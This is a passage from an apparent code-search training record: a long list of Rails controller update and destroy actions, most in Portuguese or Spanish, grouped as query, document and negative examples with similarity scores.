@pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n\n respond_to do |format|\n if @pago.update_attributes(params[:pago])\n format.html { redirect_to [@cliente, @pago], notice: 'Pago was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @lancamentorapido = Lancamentorapido.find(params[:id]) \n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n\n respond_to do |format|\n if @lancamentorapido.update_attributes(params[:lancamentorapido])\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto_pedido.update(produto_pedido_params)\n format.html { redirect_to @produto_pedido, notice: 'Produto pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto_pedido }\n else\n format.html { render :edit }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto_pedido.update(produto_pedido_params)\n format.html { redirect_to @produto_pedido, notice: 'Produto pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto_pedido }\n else\n format.html { render :edit }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoveiculo.update(tipoveiculo_params)\n format.html { redirect_to @tipoveiculo, notice: 'Tipoveiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoenvolvido.update(tipoenvolvido_params)\n format.html { redirect_to @tipoenvolvido, notice: 'Tipoenvolvido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoenvolvido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n if @tipo_negocio.update_attributes(params[:tipo_negocio])\n format.html { redirect_to @tipo_negocio, notice: 'Tipo negocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_negocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @venta = Venta.find(params[:id])\n\n respond_to do |format|\n if @venta.update_attributes(params[:venta])\n format.html { redirect_to @venta, notice: 'Venta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n if @fulcliente.update_attributes(params[:fulcliente])\n format.html { redirect_to @fulcliente, notice: 'Fulcliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fulcliente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n if @puntaje.update_attributes(params[:puntaje])\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully updated.' }\n format.json { head :no_content }\n else\n atributos\n format.html { render action: \"edit\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\trespond_to do |format|\n\tif @precio_boleto.update(precio_boleto_params)\n\t\tformat.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n\t\tformat.json { head :no_content }\n\telse\n\t\tformat.html { render action: 'edit' }\n\t\tformat.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n\tend\n\tend\nend", "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @precio_boleto.update(precio_boleto_params)\n format.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n set_funcionario\n if @ordem_servico.update(ordem_servico_params)\n format.html { redirect_to @ordem_servico, notice: t('messages.cadastro_atualizado') }\n format.json { render :show, status: :ok, location: @ordem_servico }\n else\n format.html { render :edit }\n format.json { render json: @ordem_servico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n if @noto.update_attributes(params[:noto])\n format.html { redirect_to @noto, :notice => 'Noto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @noto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def update\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n if @cargo_eleicao.update_attributes(params[:cargo_eleicao])\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @clientes_servico.update(clientes_servico_params)\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update\n respond_to do |format|\n if @repuesto_servicio.update(repuesto_servicio_params)\n format.html { redirect_to @repuesto_servicio, notice: 'Repuesto o servicio fue actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @repuesto_servicio }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @producto_vehiculo.update(producto_vehiculo_params)\n format.html { redirect_to @producto_vehiculo, notice: 'Producto vehiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_vehiculo }\n else\n format.html { render :edit }\n format.json { render json: @producto_vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @producto.update(producto_params)\n\n format.html { redirect_to \"/publicaciones/pendientes\", notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, :notice => 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto modificado exitosamente..' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n if @metodo.update_attributes(params[:metodo])\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'El producto ha sido actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(revista_params)\n format.html { redirect_to @objeto, notice: 'Revista was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n if @selecao.update_attributes(params[:selecao])\n format.html { redirect_to @selecao, notice: 'Selecao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @producto_detalle.update(producto_detalle_params)\n format.html { redirect_to @producto_detalle, notice: 'Producto detalle was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_detalle }\n else\n format.html { render :edit }\n format.json { render json: @producto_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @operador.update(operador_params)\n format.html { redirect_to @operador, notice: 'Operador was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operador.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @platoon.update(platoon_params)\n format.html { redirect_to @platoon, notice: 'Platoon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @platoon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @entrega.update(entrega_params)\n format.html { redirect_to @entrega, notice: 'Entrega editada con éxito.' }\n format.json { render :show, status: :ok, location: @entrega }\n else\n format.html { render :edit }\n format.json { render json: @entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(cliente_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @asiento_de_servicio.update(asiento_de_servicio_params)\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asiento_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.676559", "0.6637143", "0.6555321", "0.65462554", "0.65299714", "0.6528869", "0.65102583", "0.65058804", "0.6490501", "0.6480612", "0.6469509", "0.6458863", "0.64261717", "0.64036804", "0.63793707", "0.6360554", "0.63580817", "0.6356117", "0.6349855", "0.6349295", "0.6344295", "0.6329489", "0.6327185", "0.6314973", "0.63122237", "0.6303397", "0.6285862", "0.62839925", "0.62799025", "0.6276088", "0.62681156", "0.6249575", "0.62486434", "0.62450457", "0.62439936", "0.62426746", "0.62423694", "0.62418246", "0.62418246", "0.6239137", "0.621949", "0.6215814", "0.62152225", "0.6210764", "0.62096924", "0.62063515", "0.61999464", "0.61961055", "0.61953217", "0.61925304", "0.6190886", "0.6190886", "0.6184743", "0.6182873", "0.6182873", "0.6177057", "0.6173167", "0.61721087", "0.61706686", "0.61649764", "0.6163117", "0.61593014", "0.6150985", "0.61485404", "0.6148347", "0.6143872", "0.6141692", "0.6138372", "0.6138319", "0.6133196", "0.61294484", "0.6127973", "0.6127147", "0.6126772", "0.6126772", "0.61257046", "0.6121776", "0.6115725", "0.61139417", "0.6111885", "0.61114043", "0.61078095", "0.61076003", "0.61071527", "0.61027956", "0.61006093", "0.60983443", "0.60969895", "0.60937816", "0.6092482", "0.60916436", "0.6090484", "0.60882044", "0.6084634", "0.6084597", "0.608438", "0.60823965" ]
0.65150654
9
DELETE /pedidos/1 DELETE /pedidos/1.json
def destroy @pedido.destroy respond_to do |format| format.html { redirect_to pedidos_url, notice: 'Pedido was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido = Pedido.find(params[:id])\n @pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to pedidos_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @local_pedido.destroy\n respond_to do |format|\n format.html { redirect_to local_pedidos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_url, notice: 'Pedido foi removido(a) com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @servico_pacote.destroy\n respond_to do |format|\n format.html { redirect_to servico_pacotes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end", "def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end", "def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to \"/\", notice: 'Pedido was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido=@item.pedido\n @item.destroy\n respond_to do |format|\n format.html { redirect_to @pedido, notice: 'Se ha eliminado el item del pedido' }\n format.json { head :no_content }\n end\n end", "def destroy\n @arquivo = Arquivo.find(params[:id])\n\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id)\n\n if @comentarios\n @comentarios.delete_all\n end\n\n @arquivo.destroy\n\n respond_to do |format|\n format.html { redirect_to arquivos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n atualiza_estoque_cancelamento\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_url, notice: 'Pedido removido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @safra_verdoso = SafraVerdoso.find(params[:id])\n @safra_verdoso.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end", "def destroy\n @tipoveiculo.destroy\n respond_to do |format|\n format.html { redirect_to tipoveiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t @pedido.destroy\n\t\t respond_to do |format|\n\t\t format.html { redirect_to admin_pedidos_path, notice: 'El Pedido se ha eliminado' }\n\t\t format.json { head :no_content }\n\t\t end\n\t\t end", "def destroy\n @ordem_servico.destroy\n respond_to do |format|\n format.html { redirect_to ordem_servicos_url, notice: t('messages.cadastro_removido') }\n format.json { head :no_content }\n end\n end", "def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @livro.destroy\n respond_to do |format|\n format.html { redirect_to livros_url, notice: 'Livro apagado com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @clientepedido = Clientepedido.find(params[:id])\n @clientepedido.destroy\n\n respond_to do |format|\n format.html { redirect_to clientepedidos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido = Pedido.find(params[:id])\n @pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to(pedidos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pagamento = Pagamento.find(params[:id])\n os = @pagamento.os\n @pagamento.destroy\n\n respond_to do |format|\n #format.html { redirect_to pagamentos_url }\n format.html { redirect_to os }\n format.json { head :no_content }\n end\n end", "def destroy\n @opcao.destroy\n respond_to do |format|\n format.html { redirect_to opcaos_url, notice: 'Opção Apagada com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @peso = Peso.find(params[:id])\n @peso.destroy\n\n respond_to do |format|\n format.html { redirect_to pesos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @donante.destroy\n respond_to do |format|\n format.html { redirect_to donantes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #--ADICIONADO\n @cliente.perfilclientes.destroy\n #--ADICIONADO\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @poligono.destroy\n respond_to do |format|\n format.html { redirect_to poligonos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @venta = Venta.find(params[:id])\n @venta.destroy\n\n respond_to do |format|\n format.html { redirect_to ventas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @descuento = Descuento.find(params[:id])\n @descuento.destroy\n\n respond_to do |format|\n format.html { redirect_to descuentos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @detalle = Detalle.find(params[:id])\n @detalle.destroy\n\n respond_to do |format|\n format.html { redirect_to detalles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lixotodo.destroy\n respond_to do |format|\n format.html {redirect_to lixotodos_url, notice: 'Registro excluído com sucesso.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end", "def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedidos_has_prato.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_has_pratos_url, notice: 'Pedidos has prato was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @archivo = Archivo.find(params[:id])\n @archivo.destroy\n\n respond_to do |format|\n format.html { redirect_to archivos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end", "def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tiposveiculo.destroy\n respond_to do |format|\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @restaurantes_proximo.destroy\n respond_to do |format|\n format.html { redirect_to restaurantes_proximos_url, notice: 'Restaurantes proximo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n arquivo = Arquivo.find(@pregoestitulosgrafico.arquivo_id)\n\n File.delete(arquivo.caminho)\n\n pregoestitulo = Pregoestitulo.find(@pregoestitulosgrafico.pregoestitulo_id)\n \n @pregoestitulosgrafico.destroy\n respond_to do |format|\n format.html { redirect_to pregoestitulo, notice: 'Arquivo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @puntaje = Puntaje.find(params[:id])\n @puntaje.destroy\n\n respond_to do |format|\n format.html { redirect_to puntajes_url }\n format.json { head :no_content }\n end\n end", "def borrar \n\n fiesta.destroy\n render json: fiesta \n end", "def destroy\n @vende = Vende.find([params[:id1],params[:id2],params[:id3]])\n @vende.destroy\n respond_to do |format|\n format.html { redirect_to vende_index_path, notice: 'A compra foi removida com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pedido.destroy\n respond_to do |format|\n if @pedido.vendas.size > 0 or @pedido.recebimentos.size > 0\n format.html { redirect_to pedidos_url, danger: 'Imposivel excluir este pedido.' }\n format.json { head :no_content }\n else\n format.html { redirect_to pedidos_url, notice: t('.apagado') }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @estacionamiento = Estacionamiento.find(params[:id])\n @estacionamiento.destroy\n\n respond_to do |format|\n format.html { redirect_to estacionamientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_contratos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n @denuncia_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to denuncia_tipos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @orcamento.destroy\n respond_to do |format|\n format.html { redirect_to orcamentos_url, notice: 'Orçamento apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @archivo.destroy\n respond_to do |format|\n format.html { redirect_to archivos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto_ofertado.destroy\n respond_to do |format|\n format.html { redirect_to producto_ofertados_url }\n format.json { head :no_content }\n 